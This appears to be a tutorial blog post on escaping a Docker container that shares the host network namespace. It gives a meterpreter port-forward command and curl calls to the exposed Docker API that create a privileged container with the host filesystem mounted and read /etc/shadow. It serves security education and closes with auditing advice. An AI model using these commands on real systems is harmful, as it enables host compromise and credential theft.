Welcome to part 1 of my container security series! In this series we are going to focus on container security and skip compromising the service running in the container. You may ask yourself, why should I care? You should, because misconfigured containers easily allow lateral movement and you lose almost every security advantage you gain with isolation. As an attacker you need to know how to quickly identify misconfigurations to break out of the container and compromise the host system. On the security engineering side providing secure defaults (enabling IMDSv2 (do that now!)) is probably your highest leverage action.
If you did not check out my AWS series yet, check it out here: Practicing AWS security with IAMVulnerable.
Shared network namespace
Today we are looking into the consequences of sharing the host's network namespace. You can do so by setting the networking mode to --net=host
(not recommended).
Let's assume we compromised the container, that can happen through various ways such as a vulnerability in a deployed web application. We already got a reverse shell and are now enumerating the services running and listening on the network interface:
You can see something is listening on port 2375 where the Docker daemon might be running. In order to interact with the daemon from the compromised container you need a way to send HTTP requests, curl or wget might not be available and nc is pretty painful. If you use meterpreter you can leverage the port forwarding functionality without the hassle of proxychains.
Set up port forwarding from the existing meterpreter session using: portfwd add -l 2375 -p 2375 -r 127.0.0.1
:
Now you can interact with the Docker daemon using curl through localhost:
- List the version -
curl http://127.0.0.1:2375/version | jq
- List all containers -
curl http://127.0.0.1:2375/containers/json | jq
- List all images -
curl http://127.0.0.1:2375/images/json | jq
(This may be important because it limits your exploitation process if you can’t add new images for whatever reason)
The target system only has 2 images available, but it doesn’t matter we can just abuse one of the existing images and start it with parameters that enable us to escape the container.
Create the container and mount the host's file system using Bind mounts:
curl -X POST -H "Content-Type: application/json" http://127.0.0.1:2375/containers/create?name=root -d '{"Image”:”wolfcms”, "Cmd”:[“chroot”, “/host”, “/bin/bash”], "Binds": [ “/:/host” ], "Privileged": true}'
Start the container:
curl -X POST -H "Content-Type: application/json" http://127.0.0.1:2375/containers/283d838696c16955beeace24730d65c23e6847001173284c255b18ad0c108ac3/start?name=root
You can now access files in the host's file system, you can check this by accessing /etc/shadow:
curl -X POST -H "Content-Type: application/json" http://127.0.0.1:2375/containers/283d838696c16955beeace24730d65c23e6847001173284c255b18ad0c108ac3/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/bash”, "-c", "cat /host/etc/shadow"]}'
Print the content of output:
curl -X POST -H "Content-Type: application/json" http://127.0.0.1:2375/exec/INSERT_ID_HERE/start -d '{}' —output output
Conclusion
Audit your containers for shared host network namespaces and check what kind of services you accidentally expose to each container. Also check out Datadog's awesome container security fundamentals series: https://securitylabs.datadoghq.com/articles/container-security-fundamentals-part-1/ and the Blackhat talk: A Compendium of Container Escapes.